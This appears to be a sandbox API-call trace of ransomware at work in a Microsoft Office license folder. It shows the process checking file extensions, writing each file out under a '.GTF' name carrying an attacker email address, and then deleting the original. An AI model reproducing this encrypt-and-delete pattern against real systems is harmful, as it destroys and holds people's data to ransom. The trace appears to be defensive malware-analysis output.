	[0182.351] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.351] lstrlenW (lpString=".xls") returned 4
	[0182.351] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.351] lstrlenW (lpString=".xlsx") returned 5
	[0182.351] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.351] lstrlenW (lpString=".ppt") returned 4
	[0182.351] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ppd.xrm-ms") returned 88
	[0182.351] lstrlenW (lpString=".zip") returned 4
	[0182.351] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.351] lstrlenW (lpString=".rar") returned 4
	[0182.351] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.351] lstrlenW (lpString=".bz2") returned 4
	[0182.351] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.351] lstrlenW (lpString=".7z") returned 3
	[0182.352] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ppd.xrm-ms") returned 88
	[0182.352] lstrlenW (lpString=".dbf") returned 4
	[0182.352] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ppd.xrm-ms") returned 88
	[0182.352] lstrlenW (lpString=".1cd") returned 4
	[0182.352] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ppd.xrm-ms") returned 88
	[0182.352] lstrlenW (lpString=".jpg") returned 4
	[0182.352] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.352] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0182.352] lstrlenW (lpString="O365SmallBusPremR_SubTrial3-ul-oob.xrm-ms") returned 41
	[0182.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0182.353] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11655) returned 1
	[0182.353] CloseHandle (hObject=0x554) returned 1
	[0182.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-ul-oob.xrm-ms")) returned 0x220
	[0182.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0182.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0182.353] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.354] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0182.354] GetLastError () returned 0x0
	[0182.354] ReadFile (in: hFile=0x554, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2d87, lpOverlapped=0x0) returned 1
	[0182.356] WriteFile (in: hFile=0x3dc, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2d90, lpOverlapped=0x0) returned 1
	[0182.357] ReadFile (in: hFile=0x554, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.357] WriteFile (in: hFile=0x3dc, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x126, lpOverlapped=0x0) returned 1
	[0182.357] SetEndOfFile (hFile=0x3dc) returned 1
	[0182.358] CloseHandle (hObject=0x3dc) returned 1
	[0182.358] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.358] SetEndOfFile (hFile=0x554) returned 1
	[0182.361] CloseHandle (hObject=0x554) returned 1
	[0182.361] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0182.361] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-ul-oob.xrm-ms")) returned 1
	[0182.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ul-oob.xrm-ms") returned 91
	[0182.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ul-oob.xrm-ms") returned 91
	[0182.362] lstrlenW (lpString=".doc") returned 4
	[0182.362] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.362] lstrlenW (lpString=".docx") returned 5
	[0182.362] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.362] lstrlenW (lpString=".pdf") returned 4
	[0182.362] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.362] lstrlenW (lpString=".xls") returned 4
	[0182.362] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.362] lstrlenW (lpString=".xlsx") returned 5
	[0182.362] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.362] lstrlenW (lpString=".ppt") returned 4
	[0182.362] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ul-oob.xrm-ms") returned 91
	[0182.362] lstrlenW (lpString=".zip") returned 4
	[0182.362] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.362] lstrlenW (lpString=".rar") returned 4
	[0182.362] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.362] lstrlenW (lpString=".bz2") returned 4
	[0182.362] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.362] lstrlenW (lpString=".7z") returned 3
	[0182.362] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ul-oob.xrm-ms") returned 91
	[0182.362] lstrlenW (lpString=".dbf") returned 4
	[0182.362] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ul-oob.xrm-ms") returned 91
	[0182.363] lstrlenW (lpString=".1cd") returned 4
	[0182.363] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ul-oob.xrm-ms") returned 91
	[0182.363] lstrlenW (lpString=".jpg") returned 4
	[0182.363] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ul-oob.xrm-ms") returned 91
	[0182.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ul-oob.xrm-ms") returned 91
	[0182.363] lstrlenW (lpString=".doc") returned 4
	[0182.363] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.363] lstrlenW (lpString=".docx") returned 5
	[0182.363] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.363] lstrlenW (lpString=".pdf") returned 4
	[0182.363] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.363] lstrlenW (lpString=".xls") returned 4
	[0182.363] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.363] lstrlenW (lpString=".xlsx") returned 5
	[0182.363] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.363] lstrlenW (lpString=".ppt") returned 4
	[0182.363] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ul-oob.xrm-ms") returned 91
	[0182.363] lstrlenW (lpString=".zip") returned 4
	[0182.363] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.363] lstrlenW (lpString=".rar") returned 4
	[0182.363] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.363] lstrlenW (lpString=".bz2") returned 4
	[0182.363] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.363] lstrlenW (lpString=".7z") returned 3
	[0182.363] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ul-oob.xrm-ms") returned 91
	[0182.363] lstrlenW (lpString=".dbf") returned 4
	[0182.363] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ul-oob.xrm-ms") returned 91
	[0182.363] lstrlenW (lpString=".1cd") returned 4
	[0182.363] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ul-oob.xrm-ms") returned 91
	[0182.363] lstrlenW (lpString=".jpg") returned 4
	[0182.364] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.364] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0182.364] lstrlenW (lpString="O365SmallBusPremR_SubTrial4-pl.xrm-ms") returned 37
	[0182.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0182.364] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11199) returned 1
	[0182.364] CloseHandle (hObject=0x554) returned 1
	[0182.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-pl.xrm-ms")) returned 0x220
	[0182.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0182.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0182.365] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.365] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0182.366] GetLastError () returned 0x0
	[0182.366] ReadFile (in: hFile=0x554, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2bbf, lpOverlapped=0x0) returned 1
	[0182.691] WriteFile (in: hFile=0x3dc, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0182.692] ReadFile (in: hFile=0x554, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.692] WriteFile (in: hFile=0x3dc, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x11e, lpOverlapped=0x0) returned 1
	[0182.692] SetEndOfFile (hFile=0x3dc) returned 1
	[0182.693] CloseHandle (hObject=0x3dc) returned 1
	[0182.693] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.693] SetEndOfFile (hFile=0x554) returned 1
	[0182.695] CloseHandle (hObject=0x554) returned 1
	[0182.696] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0182.696] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-pl.xrm-ms")) returned 1
	[0182.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-pl.xrm-ms") returned 87
	[0182.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-pl.xrm-ms") returned 87
	[0182.697] lstrlenW (lpString=".doc") returned 4
	[0182.697] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.697] lstrlenW (lpString=".docx") returned 5
	[0182.697] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.697] lstrlenW (lpString=".pdf") returned 4
	[0182.697] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.697] lstrlenW (lpString=".xls") returned 4
	[0182.697] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.697] lstrlenW (lpString=".xlsx") returned 5
	[0182.697] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.697] lstrlenW (lpString=".ppt") returned 4
	[0182.697] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-pl.xrm-ms") returned 87
	[0182.697] lstrlenW (lpString=".zip") returned 4
	[0182.697] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.697] lstrlenW (lpString=".rar") returned 4
	[0182.697] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.697] lstrlenW (lpString=".bz2") returned 4
	[0182.697] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.697] lstrlenW (lpString=".7z") returned 3
	[0182.697] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-pl.xrm-ms") returned 87
	[0182.698] lstrlenW (lpString=".dbf") returned 4
	[0182.698] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-pl.xrm-ms") returned 87
	[0182.698] lstrlenW (lpString=".1cd") returned 4
	[0182.698] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-pl.xrm-ms") returned 87
	[0182.698] lstrlenW (lpString=".jpg") returned 4
	[0182.698] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-pl.xrm-ms") returned 87
	[0182.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-pl.xrm-ms") returned 87
	[0182.698] lstrlenW (lpString=".doc") returned 4
	[0182.698] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.698] lstrlenW (lpString=".docx") returned 5
	[0182.698] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.698] lstrlenW (lpString=".pdf") returned 4
	[0182.698] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.698] lstrlenW (lpString=".xls") returned 4
	[0182.698] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.698] lstrlenW (lpString=".xlsx") returned 5
	[0182.698] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.698] lstrlenW (lpString=".ppt") returned 4
	[0182.698] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-pl.xrm-ms") returned 87
	[0182.698] lstrlenW (lpString=".zip") returned 4
	[0182.698] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.698] lstrlenW (lpString=".rar") returned 4
	[0182.698] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.698] lstrlenW (lpString=".bz2") returned 4
	[0182.698] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.698] lstrlenW (lpString=".7z") returned 3
	[0182.698] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-pl.xrm-ms") returned 87
	[0182.698] lstrlenW (lpString=".dbf") returned 4
	[0182.698] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-pl.xrm-ms") returned 87
	[0182.699] lstrlenW (lpString=".1cd") returned 4
	[0182.699] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-pl.xrm-ms") returned 87
	[0182.699] lstrlenW (lpString=".jpg") returned 4
	[0182.699] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.699] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0182.699] lstrlenW (lpString="OneNoteR_OEM_Perp-ul-oob.xrm-ms") returned 31
	[0182.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0182.700] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=11592) returned 1
	[0182.700] CloseHandle (hObject=0x554) returned 1
	[0182.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ul-oob.xrm-ms")) returned 0x220
	[0182.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0182.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0182.700] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.700] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0182.701] GetLastError () returned 0x0
	[0182.701] ReadFile (in: hFile=0x554, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2d48, lpOverlapped=0x0) returned 1
	[0182.704] WriteFile (in: hFile=0x3dc, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0182.705] ReadFile (in: hFile=0x554, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.705] WriteFile (in: hFile=0x3dc, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x112, lpOverlapped=0x0) returned 1
	[0182.705] SetEndOfFile (hFile=0x3dc) returned 1
	[0182.705] CloseHandle (hObject=0x3dc) returned 1
	[0182.705] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.705] SetEndOfFile (hFile=0x554) returned 1
	[0182.709] CloseHandle (hObject=0x554) returned 1
	[0182.709] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0182.709] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ul-oob.xrm-ms")) returned 1
	[0182.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-oob.xrm-ms") returned 81
	[0182.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-oob.xrm-ms") returned 81
	[0182.710] lstrlenW (lpString=".doc") returned 4
	[0182.710] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.710] lstrlenW (lpString=".docx") returned 5
	[0182.710] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.710] lstrlenW (lpString=".pdf") returned 4
	[0182.710] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.710] lstrlenW (lpString=".xls") returned 4
	[0182.710] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.710] lstrlenW (lpString=".xlsx") returned 5
	[0182.710] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.710] lstrlenW (lpString=".ppt") returned 4
	[0182.710] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-oob.xrm-ms") returned 81
